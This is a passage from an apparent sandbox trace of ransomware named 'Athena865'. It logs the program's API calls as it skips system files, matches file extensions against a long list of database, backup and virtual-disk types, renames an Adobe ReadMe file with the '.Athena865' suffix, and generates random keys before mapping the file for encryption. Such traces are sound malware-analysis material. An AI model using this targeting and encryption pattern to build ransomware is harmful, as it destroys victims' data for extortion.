[0092.484] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.484] lstrlenW (lpString="cdb") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.484] lstrlenW (lpString="ckp") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.484] lstrlenW (lpString="cma") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.484] lstrlenW (lpString="cpd") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.484] lstrlenW (lpString="dacpac") returned 6 [0092.484] lstrcmpiW (lpString1="Me.htm", lpString2="dacpac") returned 1 [0092.484] lstrlenW (lpString="dad") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.484] lstrlenW (lpString="dadiagrams") returned 10 [0092.484] lstrlenW (lpString="daschema") returned 8 [0092.484] lstrcmpiW (lpString1="adMe.htm", lpString2="daschema") returned -1 [0092.484] lstrlenW (lpString="db-journal") returned 10 [0092.484] lstrlenW (lpString="db-shm") returned 6 [0092.484] lstrcmpiW (lpString1="Me.htm", lpString2="db-shm") returned 1 [0092.484] lstrlenW (lpString="db-wal") returned 6 [0092.484] lstrcmpiW (lpString1="Me.htm", lpString2="db-wal") returned 1 [0092.485] lstrlenW (lpString="dbc") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.485] lstrlenW (lpString="dbs") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.485] lstrlenW (lpString="dbt") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.485] lstrlenW (lpString="dbv") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.485] lstrlenW (lpString="dbx") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.485] lstrlenW (lpString="dcb") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.485] lstrlenW (lpString="dct") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.485] lstrlenW (lpString="dcx") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.485] lstrlenW (lpString="ddl") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.485] lstrlenW (lpString="dlis") returned 4 [0092.485] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0092.485] lstrlenW (lpString="dp1") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0092.485] lstrlenW (lpString="dqy") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0092.485] lstrlenW (lpString="dsk") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0092.485] lstrlenW (lpString="dsn") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0092.485] lstrlenW (lpString="dtsx") returned 4 [0092.485] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0092.485] lstrlenW (lpString="dxl") returned 3 [0092.485] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0092.485] lstrlenW (lpString="eco") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0092.486] lstrlenW (lpString="ecx") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0092.486] lstrlenW (lpString="edb") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0092.486] lstrlenW (lpString="epim") returned 4 [0092.486] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0092.486] lstrlenW (lpString="fcd") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0092.486] lstrlenW (lpString="fdb") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0092.486] lstrlenW (lpString="fic") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0092.486] lstrlenW (lpString="flexolibrary") returned 12 [0092.486] lstrlenW (lpString="fm5") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0092.486] lstrlenW (lpString="fmp") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0092.486] lstrlenW (lpString="fmp12") returned 5 [0092.486] lstrcmpiW (lpString1="e.htm", lpString2="fmp12") returned -1 [0092.486] lstrlenW (lpString="fmpsl") returned 5 [0092.486] lstrcmpiW (lpString1="e.htm", lpString2="fmpsl") returned -1 [0092.486] lstrlenW (lpString="fol") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0092.486] lstrlenW (lpString="fp3") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0092.486] lstrlenW (lpString="fp4") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0092.486] lstrlenW (lpString="fp5") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0092.486] lstrlenW (lpString="fp7") returned 3 [0092.486] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0092.487] lstrlenW (lpString="fpt") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0092.487] lstrlenW (lpString="frm") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0092.487] lstrlenW (lpString="gdb") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.487] lstrlenW (lpString="gdb") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.487] lstrlenW (lpString="grdb") returned 4 [0092.487] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0092.487] lstrlenW (lpString="gwi") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0092.487] lstrlenW (lpString="hdb") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0092.487] lstrlenW (lpString="his") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0092.487] lstrlenW (lpString="ib") returned 2 [0092.487] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0092.487] lstrlenW (lpString="idb") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0092.487] lstrlenW (lpString="ihx") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0092.487] lstrlenW (lpString="itdb") returned 4 [0092.487] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0092.487] lstrlenW (lpString="itw") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0092.487] lstrlenW (lpString="jet") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0092.487] lstrlenW (lpString="jtx") returned 3 [0092.487] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0092.487] lstrlenW (lpString="kdb") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0092.488] lstrlenW (lpString="kexi") returned 4 [0092.488] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0092.488] lstrlenW (lpString="kexic") returned 5 [0092.488] lstrcmpiW (lpString1="e.htm", lpString2="kexic") returned -1 [0092.488] lstrlenW (lpString="kexis") returned 5 [0092.488] lstrcmpiW (lpString1="e.htm", lpString2="kexis") returned -1 [0092.488] lstrlenW (lpString="lgc") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0092.488] lstrlenW (lpString="lwx") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0092.488] lstrlenW (lpString="maf") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0092.488] lstrlenW (lpString="maq") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0092.488] lstrlenW (lpString="mar") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0092.488] lstrlenW (lpString="marshal") returned 7 [0092.488] lstrcmpiW (lpString1="dMe.htm", lpString2="marshal") returned -1 [0092.488] lstrlenW (lpString="mas") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0092.488] lstrlenW (lpString="mav") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0092.488] lstrlenW (lpString="maw") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0092.488] lstrlenW (lpString="mdbhtml") returned 7 [0092.488] lstrcmpiW (lpString1="dMe.htm", lpString2="mdbhtml") returned -1 [0092.488] lstrlenW (lpString="mdn") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0092.488] lstrlenW (lpString="mdt") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0092.488] lstrlenW (lpString="mfd") returned 3 [0092.488] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0092.488] lstrlenW (lpString="mpd") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0092.489] lstrlenW (lpString="mrg") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0092.489] lstrlenW (lpString="mud") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0092.489] lstrlenW (lpString="mwb") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0092.489] lstrlenW (lpString="myd") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0092.489] lstrlenW (lpString="ndf") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0092.489] lstrlenW (lpString="nnt") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0092.489] lstrlenW (lpString="nrmlib") returned 6 [0092.489] lstrcmpiW (lpString1="Me.htm", lpString2="nrmlib") returned -1 [0092.489] lstrlenW (lpString="ns2") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0092.489] lstrlenW (lpString="ns3") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0092.489] lstrlenW (lpString="ns4") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0092.489] lstrlenW (lpString="nsf") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0092.489] lstrlenW (lpString="nv") returned 2 [0092.489] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0092.489] lstrlenW (lpString="nv2") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0092.489] lstrlenW (lpString="nwdb") returned 4 [0092.489] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0092.489] lstrlenW (lpString="nyf") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0092.489] lstrlenW (lpString="odb") returned 3 [0092.489] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.489] lstrlenW (lpString="odb") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.490] lstrlenW (lpString="oqy") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0092.490] lstrlenW (lpString="ora") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0092.490] lstrlenW (lpString="orx") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0092.490] lstrlenW (lpString="owc") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0092.490] lstrlenW (lpString="p96") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0092.490] lstrlenW (lpString="p97") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0092.490] lstrlenW (lpString="pan") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0092.490] lstrlenW (lpString="pdb") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0092.490] lstrlenW (lpString="pdm") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0092.490] lstrlenW (lpString="pnz") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0092.490] lstrlenW (lpString="qry") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0092.490] lstrlenW (lpString="qvd") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0092.490] lstrlenW (lpString="rbf") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0092.490] lstrlenW (lpString="rctd") returned 4 [0092.490] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0092.490] lstrlenW (lpString="rod") returned 3 [0092.490] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0092.490] lstrlenW (lpString="rodx") returned 4 [0092.491] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0092.491] lstrlenW (lpString="rpd") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0092.491] lstrlenW (lpString="rsd") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0092.491] lstrlenW (lpString="sas7bdat") returned 8 [0092.491] lstrcmpiW (lpString1="adMe.htm", lpString2="sas7bdat") returned -1 [0092.491] lstrlenW (lpString="sbf") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0092.491] lstrlenW (lpString="scx") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0092.491] lstrlenW (lpString="sdb") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0092.491] lstrlenW (lpString="sdc") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0092.491] lstrlenW (lpString="sdf") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0092.491] lstrlenW (lpString="sis") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0092.491] lstrlenW (lpString="spq") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0092.491] lstrlenW (lpString="te") returned 2 [0092.491] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0092.491] lstrlenW (lpString="teacher") returned 7 [0092.491] lstrcmpiW (lpString1="dMe.htm", lpString2="teacher") returned -1 [0092.491] lstrlenW (lpString="tmd") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0092.491] lstrlenW (lpString="tps") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0092.491] lstrlenW (lpString="trc") returned 3 [0092.491] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.491] lstrlenW (lpString="trc") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.492] lstrlenW (lpString="trm") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0092.492] lstrlenW (lpString="udb") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0092.492] lstrlenW (lpString="udl") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0092.492] lstrlenW (lpString="usr") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0092.492] lstrlenW (lpString="v12") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0092.492] lstrlenW (lpString="vis") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0092.492] lstrlenW (lpString="vpd") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0092.492] lstrlenW (lpString="vvv") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0092.492] lstrlenW (lpString="wdb") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0092.492] lstrlenW (lpString="wmdb") returned 4 [0092.492] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0092.492] lstrlenW (lpString="wrk") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0092.492] lstrlenW (lpString="xdb") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0092.492] lstrlenW (lpString="xld") returned 3 [0092.492] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0092.492] lstrlenW (lpString="xmlff") returned 5 [0092.492] lstrcmpiW (lpString1="e.htm", lpString2="xmlff") returned -1 [0092.492] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.Athena865") returned 61 [0092.492] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm.athena865"), dwFlags=0x1) returned 1 [0092.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.493] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16758) returned 1 [0092.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.494] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.494] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.494] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.494] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.495] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4480, lpName=0x0) returned 0x17c [0092.496] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4480) returned 0x100000 [0092.538] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.539] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.539] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.539] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.540] CloseHandle (hObject=0x17c) returned 1 [0092.540] CloseHandle (hObject=0x154) returned 1 [0092.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.540] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3f71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMeCS.htm", cAlternateFileName="")) returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2=".") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="..") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="windows") returned -1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="bootmgr") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="temp") returned -1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="pagefile.sys") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="boot") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="ids.txt") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="ntuser.dat") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="perflogs") returned 1 [0092.540] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2="MSBuild") returned 1 [0092.541] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0092.541] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMeCS.htm" | out: lpString1="ReadMeCS.htm") returned="ReadMeCS.htm" [0092.541] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0092.541] lstrlenW (lpString="Athena865") returned 9 [0092.541] lstrcmpiW (lpString1="dMeCS.htm", lpString2="Athena865") returned 1 [0092.541] lstrlenW (lpString=".dll") returned 4 [0092.541] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2=".dll") returned 1 [0092.541] lstrlenW (lpString=".lnk") returned 4 [0092.541] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2=".lnk") returned 1 [0092.541] lstrlenW (lpString=".ini") returned 4 [0092.541] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2=".ini") returned 1 [0092.541] lstrlenW (lpString=".sys") returned 4 [0092.541] lstrcmpiW (lpString1="ReadMeCS.htm", lpString2=".sys") returned 1 [0092.541] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0092.541] lstrlenW (lpString="bak") returned 3 [0092.541] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.541] lstrlenW (lpString="ba_") returned 3 [0092.541] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.541] lstrlenW (lpString="dbb") returned 3 [0092.541] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.541] lstrlenW (lpString="vmdk") returned 4 [0092.541] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.541] lstrlenW (lpString="rar") returned 3 [0092.541] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.541] lstrlenW (lpString="zip") returned 3 [0092.541] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.541] lstrlenW (lpString="tgz") returned 3 [0092.541] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.541] lstrlenW (lpString="vbox") returned 4 [0092.541] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.541] lstrlenW (lpString="vdi") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.542] lstrlenW (lpString="vhd") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.542] lstrlenW (lpString="vhdx") returned 4 [0092.542] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.542] lstrlenW (lpString="avhd") returned 4 [0092.542] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.542] lstrlenW (lpString="db") returned 2 [0092.542] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.542] lstrlenW (lpString="db2") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.542] lstrlenW (lpString="db3") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.542] lstrlenW (lpString="dbf") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.542] lstrlenW (lpString="mdf") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.542] lstrlenW (lpString="mdb") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.542] lstrlenW (lpString="sql") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.542] lstrlenW (lpString="sqlite") returned 6 [0092.542] lstrcmpiW (lpString1="CS.htm", lpString2="sqlite") returned -1 [0092.542] lstrlenW (lpString="sqlite3") returned 7 [0092.542] lstrcmpiW (lpString1="eCS.htm", lpString2="sqlite3") returned -1 [0092.542] lstrlenW (lpString="sqlitedb") returned 8 [0092.542] lstrcmpiW (lpString1="MeCS.htm", lpString2="sqlitedb") returned -1 [0092.542] lstrlenW (lpString="xml") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.542] lstrlenW (lpString="$er") returned 3 [0092.542] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.542] lstrlenW (lpString="4dd") returned 3 [0092.543] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.543] lstrlenW (lpString="4dl") returned 3 [0092.543] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.543] lstrlenW (lpString="^^^") returned 3 [0092.543] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.543] lstrlenW (lpString="abs") returned 3 [0092.543] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.543] lstrlenW (lpString="abx") returned 3 [0092.543] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.543] lstrlenW (lpString="accdb") returned 5 [0092.543] lstrcmpiW (lpString1="S.htm", lpString2="accdb") returned 1 [0092.543] lstrlenW (lpString="accdc") returned 5 [0092.543] lstrcmpiW (lpString1="S.htm", lpString2="accdc") returned 1 [0092.543] lstrlenW (lpString="accde") returned 5 [0092.543] lstrcmpiW (lpString1="S.htm", lpString2="accde") returned 1 [0092.543] lstrlenW (lpString="accdr") returned 5 [0092.543] lstrcmpiW (lpString1="S.htm", lpString2="accdr") returned 1 [0092.543] lstrlenW (lpString="accdt") returned 5 [0092.543] lstrcmpiW (lpString1="S.htm", lpString2="accdt") returned 1 [0092.543] lstrlenW (lpString="accdw") returned 5 [0092.543] lstrcmpiW (lpString1="S.htm", lpString2="accdw") returned 1 [0092.543] lstrlenW (lpString="accft") returned 5 [0092.543] lstrcmpiW (lpString1="S.htm", lpString2="accft") returned 1 [0092.543] lstrlenW (lpString="adb") returned 3 [0092.543] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.543] lstrlenW (lpString="adb") returned 3 [0092.543] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.543] lstrlenW (lpString="ade") returned 3 [0092.543] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.543] lstrlenW (lpString="adf") returned 3 [0092.543] lstrcmpiW (lpString1="htm", 